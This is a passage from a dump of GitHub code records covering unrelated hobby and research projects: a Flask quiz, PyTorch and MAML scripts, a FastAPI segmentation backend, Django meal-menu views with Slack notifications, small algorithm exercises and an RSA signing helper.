\n@app.route(\"/quiz6\", methods=['get', 'post'])\ndef render_quiz6():\n if 'answer4' in session:\n session.clear()\n return render_template('home.html')\n else:\n session['answer4']=request.form['answer4']\n return render_template('quiz6.html')\n \n@app.route(\"/finished\", methods=['get', 'post'])\ndef render_finished():\n if 'answer5' in session:\n session.clear()\n return render_template('home.html')\n else:\n session['answer5']=request.form['answer5']\n return redirect('/results')\n \n@app.route(\"/results\")\ndef render_results():\n count = results_count()\n return render_template('results.html', count = count)\n \ndef results_count():\n count = 0 \n if session['answer'] == '52':\n count = count + 1\n if session['answer1'] == '73':\n count = count + 1\n if session['answer2'] == '81':\n count = count + 1 \n if session['answer3'] == '80':\n count = count + 1 \n if session['answer4'] == '34':\n count = count + 1\n if session['answer5'] == '52':\n count = count + 1\n return count\n \nif __name__==\"__main__\":\n app.run(debug=False)","repo_name":"AJsBusiness/postRequests","sub_path":"Quiz.py","file_name":"Quiz.py","file_ext":"py","file_size_in_byte":2755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13738320396","text":"import numpy as np\nimport torch\nN, D_in, H, D_out = 64, 1000, 100, 10 # 64个输入,输入是1000维\n\n# 说明:基于1.1版本,使用部分torch接口进行梯度的自动计算\n\n# 随机创建一些训练数据\nx = torch.randn(N, D_in)\ny = torch.randn(N, D_out)\n\nw1 = torch.randn(D_in, H, requires_grad=True) # 1000维到100维\nw2 = torch.randn(H, D_out, requires_grad=True) # 100维到10维\n\nlearning_rate = 1e-6\nfor it in range(500):\n # Forward pass\n # h = x.mm(w1) # N * H\n # h_relu = h.clamp(min=0) # N * H\n # y_pred = h_relu.mm(w2) # N * D_out\n y_pred = x.mm(w1).clamp(min=0).mm(w2)\n \n # compute loss\n loss = (y_pred - y).pow(2).sum()\n print(it, loss.item())\n \n # Backward pass\n # compute the gradient\n\n loss.backward()\n with torch.no_grad():\n\t # update weights of w1 and w2\n\t w1 -= learning_rate * w1.grad\n\t w2 -= learning_rate * w2.grad\n\t w1.grad.zero_()\n\t w2.grad.zero_()\n","repo_name":"c1rew/PyTorch_Practice","sub_path":"neural_net_v1.2.py","file_name":"neural_net_v1.2.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7285077807","text":"import csv # <---- \nimport numpy as np # <---- \nimport pickle\nimport random\nimport tensorflow as tf\nfrom tensorflow import flags\n\nfrom model.data_generator import DataGenerator\nfrom model.maml import MAML\nfrom model.model import ModelBuilder\nfrom actors.test import Tester\nfrom utils import exp_init\n\n######################## FLAGS ########################\nFLAGS = flags.FLAGS\ntraining_type = '5_way_1_shot'\nif(training_type == '5_way_1_shot'):\n flags.DEFINE_string('datasource', 'omniglot', 'sinusoid or omniglot or miniimagenet')\n flags.DEFINE_integer('metatrain_iterations', 15000, 'number of metatraining iterations.') # 15k for omniglot \n flags.DEFINE_integer('meta_batch_size', 32, 'number of tasks sampled per meta-update')\n flags.DEFINE_integer('update_batch_size', 1, 'number of examples used for inner gradient update (K for K-shot learning).')\n flags.DEFINE_float('update_lr', 0.4, 'step size alpha for inner gradient update.') # 0.1 for omniglot\n flags.DEFINE_integer('num_updates', 1, 'number of inner gradient updates during training.')\n flags.DEFINE_string('logdir', 'logs/omniglot5way/', 'directory for summaries and checkpoints.')\n\nflags.DEFINE_integer('num_classes', 5, 'number of classes used in classification (e.g. 5-way classification).')\n\n## Training options\nflags.DEFINE_integer('pretrain_iterations', 0, 'number of pre-training iterations.')\nflags.DEFINE_float('meta_lr', 0.001, 'the base learning rate of the generator')\n\n\n## Model options\nflags.DEFINE_string('norm', 'batch_norm', 'batch_norm, layer_norm, or None')\nflags.DEFINE_integer('num_filters', 64, 'number of filters for conv nets -- 32 for miniimagenet, 64 for omiglot.')\nflags.DEFINE_bool('conv', True, 'whether or not to use a convolutional network, only applicable in some cases')\nflags.DEFINE_bool('max_pool', False, 'Whether or not to use max pooling rather than strided convolutions')\nflags.DEFINE_bool('stop_grad', False, 'if True, do not use second derivatives in meta-optimization (for speed)')\n\n## Logging, saving, and testing options\nflags.DEFINE_bool('log', True, 'if false, do not log summaries, for debugging code.')\nflags.DEFINE_bool('resume', True, 'resume training if there is a model available')\nflags.DEFINE_bool('train', False, 'True to train, False to test.')\nflags.DEFINE_integer('test_iter', -1, 'iteration to load model (-1 for latest model)')\nflags.DEFINE_bool('test_set', False, 'Set to true to test on the the test set, False for the validation set.')\nflags.DEFINE_integer('train_update_batch_size', -1, 'number of examples used for gradient update during training (use if you want to test with a different number).')\nflags.DEFINE_float('train_update_lr', -1, 'value of inner gradient step step during training. (use if you want to test with a different value)') # 0.1 for omniglot\n\n################################################################################################\n\ntest_num_updates = 600\n\n#################################### INIT MODEL ####################################\n\nbuilder = ModelBuilder()\nmodel, data_generator = builder.construct_model()\n\n################## TENSORFLOW SESSION INITIALIZATION ##################\n\nsaver = loader = tf.train.Saver(tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES), max_to_keep=10)\nsess = tf.InteractiveSession()\n\n################ TESTING ################\nexp_string = exp_init()\nresume_itr = 0\n\ntf.global_variables_initializer().run()\ntf.train.start_queue_runners()\ntester = Tester()\ntester.test(model, saver, sess, exp_string, data_generator, test_num_updates)\n##########################################\n","repo_name":"maminio/maml","sub_path":"main_test.py","file_name":"main_test.py","file_ext":"py","file_size_in_byte":3600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22013102025","text":"\"\"\"\nautomag.1_lin_response.1_submit\n===============================\n\nScript which submits linear response U calculations.\n\n.. codeauthor:: Michele Galasso \n\"\"\"\n\nfrom input import *\n\nfrom ase.io import read\nfrom pymatgen.core.structure import Structure\n\nfrom common.SubmitFirework import SubmitFirework\n\n# full path to poscar file\npath_to_poscar = '../geometries/' + poscar_file\n\n# create ase.Atoms object\natoms = read(path_to_poscar)\n\nif 'configuration' not in globals():\n configuration = []\n structure = Structure.from_file(path_to_poscar)\n for atom in structure.species:\n if 'magnetic_atoms' not in globals():\n if atom.is_transition_metal:\n configuration.append(4.0)\n else:\n configuration.append(0.0)\n else:\n if atom in magnetic_atoms:\n configuration.append(4.0)\n else:\n configuration.append(0.0)\n\n# submit calculations\nrun = SubmitFirework(path_to_poscar, mode='perturbations', fix_params=params, pert_values=perturbations,\n magmoms=configuration, dummy_atom=dummy_atom, dummy_position=dummy_position)\nrun.submit()\n","repo_name":"michelegalasso/automag","sub_path":"1_lin_response/1_submit.py","file_name":"1_submit.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"37"} +{"seq_id":"72350521708","text":"#!/usr/bin/env/python\n\"\"\"Make a data frame for plotting that has only the random and selected lines,\nwhich cycle they are from, which panel they are in, and the derived homozygous\ncounts of various functional classes of SNPs. Takes two arguments:\n 1) Homozygous derived file (gzipped)\n 2) Adjusted phenotypic data file with ran/sel/cycle information\n\"\"\"\n\nimport sys\nimport gzip\n\n# Make the sets used for membership tests\nc0 = set()\nc1_r = set()\nc1_s = set()\nc2_r = set()\nc2_s = set()\nc3_r = set()\nc3_s = set()\nwith open(sys.argv[2], 'r') as f:\n for index, line in enumerate(f):\n if index == 0:\n continue\n else:\n tmp = line.strip().split(',')\n lid = tmp[0]\n cyc = tmp[1]\n panel = tmp[2]\n if cyc == 'C0':\n c0.add(lid)\n elif cyc == 'C1':\n if panel == 'ran':\n c1_r.add(lid)\n elif panel == 'sel':\n c1_s.add(lid)\n else:\n continue\n elif cyc == 'C2':\n if panel == 'ran':\n c2_r.add(lid)\n elif panel == 'sel':\n c2_s.add(lid)\n else:\n continue\n elif cyc == 'C3':\n if panel == 'ran':\n c3_r.add(lid)\n elif panel == 'sel':\n c3_s.add(lid)\n else:\n continue\n else:\n continue\n\n# Then, iterate through the burden file and slice out the lines that we are\n# interested in keeping\nwith gzip.open(sys.argv[1], 'rt') as f:\n for index, line in enumerate(f):\n if index == 0:\n # Print a new header\n print(','.join([\n 'Line', 'Cycle', 'Type', 'NC', 'SY', 'NS', 'DE'\n ]))\n else:\n tmp = line.strip().split()\n if tmp[0] in c0:\n cyc = 'C0'\n panel = 'NA'\n elif tmp[0] in c1_r:\n cyc = 'C1'\n panel = 'Ran'\n elif tmp[0] in c1_s:\n cyc = 'C1'\n panel = 'Sel'\n elif tmp[0] in c2_r:\n cyc = 'C2'\n panel = 'Ran'\n elif tmp[0] in c2_s:\n cyc = 'C2'\n panel = 'Sel'\n elif tmp[0] in c3_r:\n cyc = 'C3'\n panel = 'Ran'\n elif tmp[0] in c3_s:\n cyc = 'C3'\n panel = 'Sel'\n else:\n continue\n # Print the line\n toprint = [tmp[0], cyc, panel] + tmp[1:]\n print(','.join(toprint))\n","repo_name":"MorrellLAB/Deleterious_GP","sub_path":"Analysis_Scripts/Data_Handling/Ran_Sel_dSNP_Burden.py","file_name":"Ran_Sel_dSNP_Burden.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"36688399716","text":"# 进入venv虚拟环境\n# terminial-> venv/Scripts/activate.bat\nimport uvicorn\nimport time\nfrom fastapi import FastAPI, Query, BackgroundTasks\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom fastapi.responses import FileResponse, JSONResponse, StreamingResponse\nfrom zipfile import ZipFile\nfrom utils import tools\nfrom models import model\nfrom pathlib import Path\nfrom io import BytesIO\nfrom task import task_oi\nimport pandas as pd\n\napp = FastAPI()\n\norigins = [\n \"http://127.0.0.1:5173\",\n]\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=[\"*\"],\n # allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n\n@app.get('/')\nasync def root():\n # df = pd.read_csv('~/desktop/metadata_prone_to_supine_t1_2017_04_18.csv')\n # column = df['participant_id']\n # print(type(column))\n # print(column[0])\n return \"Welcome to segmentation backend\"\n\n\n@app.get('/api/cases')\nasync def get_cases_name(background_tasks: BackgroundTasks):\n # tools.save()\n background_tasks.add_task(tools.save)\n folder_path = tools.IMPORT_FOLDER_PATH\n CASE_NAMES = tools.get_all_folder_names(folder_path)\n print(CASE_NAMES)\n filename = \"mask.json\"\n res = {}\n res[\"names\"] = CASE_NAMES\n res[\"details\"] = []\n for subdirectory in CASE_NAMES:\n # is_exist = check_file_exist(directory, filename)\n is_exist = tools.check_mask_json_file(tools.EXPORT_FOLDER_PATH, subdirectory, filename)\n res[\"details\"].append({\"name\": subdirectory, \"masked\": is_exist})\n return res\n\n\n@app.get('/api/case/')\nasync def send_nrrd_case(name: str = Query(None)):\n start_time = time.time()\n if name is not None:\n cwd = Path.cwd()\n tools.FOLDER_PATH = cwd / tools.EXPORT_FOLDER_PATH / name\n file_names = tools.get_all_file_names(tools.IMPORT_FOLDER_PATH, name)\n file_paths = []\n for file in file_names:\n file_paths.append(cwd / tools.IMPORT_FOLDER_PATH / name / file)\n\n is_exist = tools.check_mask_json_file(tools.EXPORT_FOLDER_PATH, name, \"mask.json\")\n if is_exist:\n file_paths.append( cwd / tools.EXPORT_FOLDER_PATH / name / \"mask.json\")\n with ZipFile('nrrd_files.zip', 'w') as zip_file:\n for file_path in file_paths:\n zip_file.write(file_path)\n end_time = time.time()\n run_time = end_time - start_time\n print(\"get files cost:{:.2f}s\".format(run_time))\n return FileResponse('nrrd_files.zip', media_type='application/zip')\n\n\n@app.post(\"/api/mask/init\")\nasync def init_mask(mask: model.Masks):\n tools.write_data_to_json(tools.EXPORT_FOLDER_PATH, mask.caseId, mask.masks)\n return True\n\n\n@app.post(\"/api/mask/replace\")\nasync def replace_mask(replace_slice: model.Mask):\n tools.replace_data_to_json(tools.EXPORT_FOLDER_PATH, replace_slice.caseId, replace_slice)\n return True\n\n\n@app.get(\"/api/mask/save\")\nasync def save_mask(name: str, background_tasks: BackgroundTasks):\n # tools.save()\n background_tasks.add_task(task_oi.json_to_nii,name)\n return True\n\n@app.get(\"/api/mask\")\nasync def get_mask(name: str = Query(None)):\n if name is not None:\n cwd = Path.cwd()\n file_path = cwd / tools.EXPORT_FOLDER_PATH / name / \"mask.json\"\n cheked = tools.check_mask_json_file(tools.EXPORT_FOLDER_PATH, name, \"mask.json\")\n if (cheked):\n with open(file_path, mode=\"rb\") as file:\n file_contents = file.read()\n file_object = BytesIO(file_contents)\n return StreamingResponse(file_object, media_type=\"application/json\")\n else:\n return False\n\n\nif __name__ == '__main__':\n uvicorn.run(app)\n","repo_name":"LinkunGao/Tumours-app","sub_path":"backend/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3683,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"12611995881","text":"#!/usr/bin/python\n\nlicense = list(map(int, open('input').read().split()))\n\nclass Node:\n def __init__(self):\n self.children = []\n self.entries = []\n\ndef read_node(data):\n node = Node()\n num_children = data[0]\n num_entries = data[1]\n i = 2\n for _ in range(num_children):\n child, child_len = read_node(data[i:])\n node.children.append(child)\n i += child_len\n node.entries = data[i:i+num_entries]\n return node, i+num_entries\n\nroot, root_len = read_node(license)\nassert root_len == len(license)\n\ndef entries_total(node):\n return sum(node.entries) + sum(entries_total(c) for c in node.children)\n\nprint(\"Part 1 answer:\", entries_total(root))\n\ndef value(node):\n if len(node.children) == 0:\n return sum(node.entries)\n else:\n return sum(value(node.children[i-1]) for i in node.entries\n if i <= len(node.children))\n\nprint(\"Part 2 answer:\", value(root))\n","repo_name":"c4rlo/adventofcode2018","sub_path":"08/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26128299001","text":"latentDir = \"/home/hxie1/data/OvarianCancerCT/pixelSize223/latent/latent_20190902_175550\"\nresponsePath = \"/home/hxie1/data/OvarianCancerCT/patientResponseDict.json\"\n\nlenLV = 512\n\nimport numpy as np\nfrom colorama import Fore, Style\n\nimport sys\nsys.path.append(\"..\")\nfrom FilesUtilities import *\nfileList = getFilesList(latentDir, \".npy\")\nN = len(fileList)\n\nimport json\nwith open(responsePath) as f:\n responseDict = json.load(f)\n\n# statistics 0 and 1\nnCount0 = 0\nnCount1 = 0\nfor i in range(N):\n patientID = getStemName(fileList[i], \".npy\")[0:8]\n response = responseDict[patientID]\n if 0 == response:\n nCount0 +=1\n else:\n nCount1 +=1\nprint(f\"\\nFor all latent vectors, response 1 has {nCount1}, and response 0 has {nCount0}.\\n\")\n\n# read all latent vector into arrays.\narray0 = np.empty([lenLV, nCount0], dtype=np.float)\narray1 = np.empty([lenLV, nCount1], dtype=np.float)\npatientID0List = []\npatientID1List = []\nc0=0\nc1=0\nfor i in range(N):\n patientID = getStemName(fileList[i], \".npy\")[0:8]\n latentV = np.load(fileList[i])\n response = responseDict[patientID]\n if 0 == response:\n array0[:,c0] = latentV\n patientID0List.append(patientID)\n c0 +=1\n else:\n array1[:,c1] = latentV\n patientID1List.append(patientID)\n c1 +=1\n\n# print out latent vectors\n\n#for i in range(0, nCount0): # print part\n# print (f\"\\ni={i} patientID: {patientID0List[i]}\")\n# print(Fore.RED + str(array0[:, i].tolist()))\n#for i in range(0, nCount1): # print part\n# print(f\"\\ni={i} patientID: {patientID1List[i]}\")\n# print(Fore.BLUE + str(array1[:, i].tolist()))\n\n# print(Style.RESET_ALL)\n#print(f\"For all latent vectors, response 1 has {nCount1}, and response 0 has {nCount0}.\\n\")\n\n# draw latent vectors\nimport matplotlib.pyplot as plt\n\n'''\nFor different color for different curve.\n red = 50 # for response 0\n blue = 50 # for response 1\n \n blue += 1\n color = '#'+hex(blue)[2:].zfill(6)\n subplot1.plot(xAxis, latentV, color=color)\n \n red += 1\n color = '#'+(hex(red)[2:]+\"0000\")\n subplot0.plot(xAxis, latentV, color=color)\n \n'''\n# draw Line figures.\nf1 = plt.figure(1)\nxAxis = np.array(range(0,lenLV), dtype=int)\n\n\nsubplot0 = plt.subplot(2,1,1)\nfor i in range(nCount0):\n subplot0.scatter(xAxis, array0[:,i],s=1)\nsubplot0.set_xlabel('Element Position')\nsubplot0.set_ylabel('Element Value')\nsubplot0.set_title('Response 0')\n\nsubplot1 = plt.subplot(2,1,2)\nfor i in range(nCount1):\n subplot1.scatter(xAxis, array1[:,i],s=1)\nsubplot1.set_xlabel('Element Position')\nsubplot1.set_ylabel('Element Value')\nsubplot1.set_title('Response 1')\n\nplt.tight_layout()\n\nplt.savefig(os.path.join(latentDir, f\"latentVLine.png\"))\n\n# draw circles\nf2 = plt.figure(2)\ntheta = np.array(range(0,lenLV), dtype=int)* 2*np.pi/lenLV\n\nsubplot0 = plt.subplot(2,1,1, projection=\"polar\")\nfor i in range(nCount0):\n subplot0.scatter(theta, array0[:,i],s=1)\nsubplot0.set_title('Response 0', pad=20)\n\nsubplot1 = plt.subplot(2,1,2, projection=\"polar\")\nfor i in range(nCount1):\n subplot1.scatter(theta, array1[:,i],s=1)\nsubplot1.set_title('Response 1', pad=20)\n\nplt.tight_layout()\n\nplt.savefig(os.path.join(latentDir, f\"latentVCircle.png\"))\n\n# draw mean, std curve\nf3 = plt.figure(3)\narray0mean = np.mean(array0, axis=1)\narray0std = np.std(array0, axis=1)\n\narray1mean = np.mean(array1, axis=1)\narray1std = np.std(array1, axis=1)\n\nsubplot0 = plt.subplot(2,1,1)\nsubplot0.scatter(xAxis, array0mean, s=1)\nsubplot0.scatter(xAxis, array1mean, s=1 )\nsubplot0.set_xlabel('Element Position')\nsubplot0.set_ylabel('Element Value')\nsubplot0.legend(('mu0', 'mu1'))\nsubplot0.set_title('Mean between Response 0 and 1')\n\nsubplot1 = plt.subplot(2,1,2)\nsubplot1.scatter(xAxis, array0std,s=1)\nsubplot1.scatter(xAxis, array1std,s=1)\nsubplot1.set_xlabel('Element Position')\nsubplot1.set_ylabel('Element Value')\nsubplot1.legend(('std0', 'std1'))\nsubplot1.set_title('Std Deviation bewtwen Response 0 and 1')\n\nplt.tight_layout()\n\nplt.savefig(os.path.join(latentDir, f\"latentV_mu_std.png\"))\n\nprint(f\"Output figures dir: {latentDir}\")\n\n# final show\nplt.show()\n","repo_name":"templeblock/OvarianCancer","sub_path":"Tools/visualizeLatentVector.py","file_name":"visualizeLatentVector.py","file_ext":"py","file_size_in_byte":4155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20805354062","text":"def rod_cutting(value, length):\r\n if (length <= 0):\r\n return 0\r\n max = -1\r\n for i in range(0, length+1):\r\n max = max(max, value[i] + rod_cutting(value, length-i-1))\r\n return max\r\ndef profitDP(value, length):\r\n\t\tsolution = [0]*(length+1)\r\n\r\n\t\tfor i in range(1, length+1):\r\n\t\t\tmaximum = -1\r\n\t\t\tfor j in range(0, i):\r\n\t\t\t\tmaximum = max(maximum, value[j] + solution[i-j-1])\r\n\t\t\t\tsolution[i] = maximum\r\n\t\treturn solution[length]\r\n\r\nvalue = [0, 5, 8, 8, 9, 14, 16, 18, 24, 25]\r\nprint(\"Podaj dlugosc preta\")\r\nlen = int(input())\r\nprofit = profitDP(value, len)\r\nprint(\"Maksymalny profit to: \" + str(profit))\r\n","repo_name":"Retardeded/LilPy","sub_path":"rod_cutting.py","file_name":"rod_cutting.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20924007177","text":"# 生成将数字转化字的功能。为测试集的句子服务,使得得以复原\nimport numpy as np\nimport os\nimport pickle\nos.chdir(\"../\")\nfrom config import train_args\n\nif __name__ == \"__main__\":\n # 数据集的序号 k_fold_index\n # 模型保存地址\n result = []\n # 加载句子的字典\n with open(\"./data/word_dict_reverse.pkl\", \"rb\") as fp:\n word_dict_reverse = pickle.load(fp)\n\n # 数据加载\n test_X = np.load(\"./10_fold_corpus/test_X.npy\")\n test_Y = np.load(\"./10_fold_corpus/test_Y.npy\")\n\n\n def non_zero_times_count(sentence):\n \"\"\"\n 统计句子中多少个不是0(也就是有多少个单词)\n :param sentence:\n :return:\n \"\"\"\n num = 0\n for v in sentence:\n if v != 0:\n num += 1\n return num\n\n\n test_X = np.concatenate((test_X,\n np.zeros(shape=(train_args[\"batch_size\"] - len(test_X) % train_args[\"batch_size\"],\n train_args[\"sentences_num\"], train_args[\"time_step\"]),\n dtype=np.int32)), axis=0)\n test_Y = np.concatenate((test_Y,\n np.zeros(shape=(train_args[\"batch_size\"] - len(test_Y) % train_args[\"batch_size\"],\n train_args[\"sentences_num\"]),\n dtype=np.int32)), axis=0)\n test_X_batches = []\n test_begin_index = 0\n test_end_index = train_args['batch_size']\n while test_end_index < len(test_X):\n test_X_batches.append(test_X[test_begin_index:test_end_index])\n test_begin_index = test_end_index\n test_end_index = test_end_index + train_args['batch_size']\n\n for X_batch in test_X_batches:\n for paragraph in X_batch:\n for sentence in paragraph:\n tmp = [word_dict_reverse[v] for v in sentence if v != 0]\n if tmp != []:\n result.append(\"\".join(tmp))\n\n\n\n with open(\"./result/sentence.txt\", \"w\") as fp:\n result = [v + '\\n' for v in result]\n fp.writelines(result)\n","repo_name":"bringtree/nlpcc_task4_sub2","sub_path":"deal_with_result_code/generator_ready_sentence.py","file_name":"generator_ready_sentence.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"72182532907","text":"from django.shortcuts import render, HttpResponse\nfrom django.contrib import messages\nfrom django.contrib.auth.models import User\nfrom . forms import CreateNewMenu\nfrom . models import Menu, MenuEmployee\nfrom . import slack\nfrom configparser import ConfigParser\n\nenv = ConfigParser()\nenv.read('env.ini')\n\n\ndef create_menu(request):\n if request.method == 'POST':\n menu = CreateNewMenu(request.POST)\n if menu.is_valid():\n menu.save()\n m = Menu.objects.latest('menu_date')\n return show_latest_menu(request=request, menu=m)\n else:\n menu = CreateNewMenu()\n content = {'form': menu}\n return render(request, 'menus/create_menus.html', content)\n\n\ndef view_selections(request, menu_id, employee_id):\n if request.method == 'GET' and request.GET.get('slack'):\n slack_notify(request)\n\n if request.method == 'GET':\n menu = Menu.objects.filter(menu_id=menu_id)\n menu = menu[0] if menu else None\n employees = User.objects.all()\n selections = list()\n for e in employees:\n s = dict()\n s['employee_username'] = e.username\n s['employee_name'] = e.first_name + ' ' + e.last_name\n me = MenuEmployee.objects.filter(menu_id=menu_id, employee_id_id=e.id)\n s['employee_selection_id'] = me[0].option_selected if me else None\n s['employee_customization_notes'] = me[0].customization_notes if me else None\n s['employee_last_modified_at'] = me[0].modified_at if me else None\n s['employee_selection_description'] = getattr(menu, str(s['employee_selection_id']), None)\n selections.append(s)\n content = {'selections': selections, 'menu': menu}\n return render(request, 'menus/view_selections.html', content)\n return render(request, 'menus/view_selections.html', {'selections': None})\n\n\ndef make_selection(request, menu_id, employee_id):\n if request.method == 'GET':\n menu = Menu.objects.filter(menu_id=menu_id)\n menu = menu[0] if menu else None\n me = MenuEmployee.objects.filter(menu_id=menu_id, employee_id=employee_id)\n me = me[0] if me else None\n option_selected = me.option_selected.split('_')[-1] if me else None\n content = {'menu': menu, 'menu_employee': me, 'employee_id': employee_id, 'option': option_selected}\n return render(request, 'menus/choose_option.html', content)\n elif request.method == 'POST':\n form = request.POST\n option_selected = form.get('option').split(f'{menu_id}_{employee_id}_option')[-1]\n try:\n menu = Menu.objects.filter(menu_id=menu_id)\n menu = menu[0] if menu else None\n me = MenuEmployee.objects.filter(menu_id=menu_id, employee_id=employee_id)\n me = me[0] if me else None\n if me:\n me.option_selected = f'menu_option_{option_selected}'\n me.customization_notes = form.get(f'{menu_id}_{employee_id}_notes')\n me.save()\n else:\n me = MenuEmployee()\n me.menu_id_id = menu_id\n me.employee_id_id = employee_id\n me.option_selected = f'menu_option_{option_selected}'\n me.customization_notes = form.get(f'{menu_id}_{employee_id}_notes')\n me.save()\n content = {'menu': menu, 'menu_employee': me, 'employee_id': employee_id, 'option': option_selected}\n messages.success(request, 'Menu option submitted.')\n return render(request, 'menus/choose_option.html', content)\n except Exception as err:\n messages.error(request, str(err))\n return render(request, 'menus/choose_option.html', {'menu': None, 'menu_employee': None, 'employee_id': None, 'option': None})\n\n\ndef show_all_menus(request):\n menus = Menu.objects.all()\n return render(request, 'menus/all_menus.html', context={'menus': menus})\n\n\ndef show_latest_menu(request, menu=None, menu_id=None):\n if request.method == 'GET' and request.GET.get('slack'):\n slack_notify(request)\n try:\n if not menu or not menu_id:\n menu = Menu.objects.latest('menu_date')\n return render(request, 'menus/menu.html', context={'menu': menu})\n except Menu.DoesNotExist:\n return HttpResponse(\"

Sorry! There are no menus to show.

\")\n\n\ndef show_menu_by_id(request, menu_id=None):\n if request.method == 'GET' and request.GET.get('slack'):\n slack_notify(request)\n try:\n context = {'menu': None}\n if menu_id:\n menu = Menu.objects.filter(menu_id=menu_id)\n menu = menu[0] if menu else None\n context['menu'] = menu\n return render(request, 'menus/menu.html', context=context)\n except Menu.DoesNotExist:\n return HttpResponse(\"

Sorry! There are no menus to show.

\")\n\n\ndef make_slack_menu_message(menu):\n menu_items = dict()\n menu_url = env['host'].get('heroku', 'https://cornershop-meals-app.herokuapp.com/') + 'menu/' + str(menu.menu_id) + '/'\n menu_items['Menu Url'] = menu_url\n menu_items['Option 1'] = menu.menu_option_1\n if menu.menu_option_2:\n menu_items['Option 2'] = menu.menu_option_2\n if menu.menu_option_3:\n menu_items['Option 3'] = menu.menu_option_3\n if menu.menu_option_4:\n menu_items['Option 4'] = menu.menu_option_4\n if menu.menu_option_5:\n menu_items['Option 5'] = menu.menu_option_5\n if menu.menu_option_6:\n menu_items['Option 6'] = menu.menu_option_6\n if menu.menu_option_7:\n menu_items['Option 7'] = menu.menu_option_7\n if menu.menu_option_8:\n menu_items['Option 8'] = menu.menu_option_8\n if menu.menu_option_9:\n menu_items['Option 9'] = menu.menu_option_9\n if menu.menu_option_10:\n menu_items['Option 10'] = menu.menu_option_10\n\n message_str = \"Hello!\\nI'm sharing with you today's menu :) \\n\"\n for k, v in menu_items.items():\n message_str += f'{k}: {v}\\n'\n message_str += \"Go to the menu url before 11 am CLT to make your selection.\\nHave a nice day!\\nBest,\\nNora\"\n return message_str\n\n\ndef slack_notify(request):\n try:\n ids = request.GET.get('slack').split('_')\n menu_id, employee_id = ids[1], ids[2]\n menu = Menu.objects.filter(menu_id=str(menu_id))\n menu = menu[0] if menu else None\n menu_message = make_slack_menu_message(menu)\n response = slack.send_slack_message(menu_message)\n if response.status_code == 200:\n messages.success(request, 'Slack reminders sent.')\n else:\n err = response.text\n messages.error(request, 'Slack error: '+err)\n except Exception as err:\n messages.error(request, 'Slack error: '+str(err))\n\n","repo_name":"jubins/Cornershop-Meals","sub_path":"cornershopmeals/menus/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14722879294","text":"from .db import db , environment, SCHEMA, add_prefix_for_prod\n\n\nevent_attendees = db.Table(\n \"event_attendees\",\n db.Model.metadata,\n db.Column(\"users\", db.Integer, db.ForeignKey(add_prefix_for_prod(\"users.id\"))),\n db.Column(\"events\", db.Integer, db.ForeignKey(add_prefix_for_prod(\"events.id\")))\n)\n\nif environment == \"production\":\n event_attendees.schema = SCHEMA\n\nif environment == \"production\":\n event_attendees.schema = SCHEMA\n","repo_name":"willmchristensen/Mu","sub_path":"app/models/event_attendees.py","file_name":"event_attendees.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33497516340","text":"'''\nCS 6475\nFinal Project\nSamuel Woo\nJassimran Kaur\n'''\n\nimport numpy as np\nimport cv2\nimport hashlib\nimport os\nimport Crypto\nfrom Crypto.PublicKey import RSA\nfrom Crypto import Random\n\n\ndef hash_file(FILE_NAME):\n '''\n Description: This function will hash a file and return the hash object.\n The hash algorithm can be modified by changing the hashlib algorithm.\n\n References:\n https://docs.python.org/2/library/hashlib.html\n http://www.pythoncentral.io/hashing-files-with-python/\n\n input args:\n FILE_NAME is the path and name of the file to be hashed in string format.\n\n output:\n hasher is the HASH object created by the hashlib function\n '''\n blockSize = 2 ** 16\n fileHash = hashlib.sha256()\n with open(FILE_NAME, 'rb') as afile:\n buf = afile.read(blockSize)\n while len(buf) > 0:\n fileHash.update(buf)\n buf = afile.read(blockSize)\n return fileHash\n\n\n\ndef gen_RSA_keys(mod_size):\n '''\n Description: This function will generate a public-private key pair using RSA.\n The key object contains the public exponent, modulus, and private exponent.\n\n References:\n https://www.dlitz.net/software/pycrypto/doc/\n http://www.laurentluce.com/posts/python-and-cryptography-with-pycrypto/\n\n input args:\n mod_size is an integer which specifies the size of the modulus. The values\n should be 1024, 2048, or 4096.\n\n output:\n key is an instance of RSAobj from pycrypto library\n '''\n random_generator = Random.new().read\n key = RSA.generate(mod_size, random_generator)\n return key\n\n\ndef sign_hash(rsaKey, fileHash):\n '''\n Description: This function will sign a hash and return the signature\n\n References: \n https://www.dlitz.net/software/pycrypto/doc/\n http://www.laurentluce.com/posts/python-and-cryptography-with-pycrypto/\n\n input args:\n rsaKey is the RSA key object generated by gen_RSA_keys\n fileHash is the hash object generated by hash_file\n\n output:\n signature is the signed hash object. The data type is a tuple with one element\n which is the signature number in 'long' format. The length of the long integer\n will be a number between 0 and the size of the modulus. Most likely the size of\n the signature will be approximately the size of the modulus (e.g. 1024-bit \n modulus will result in an 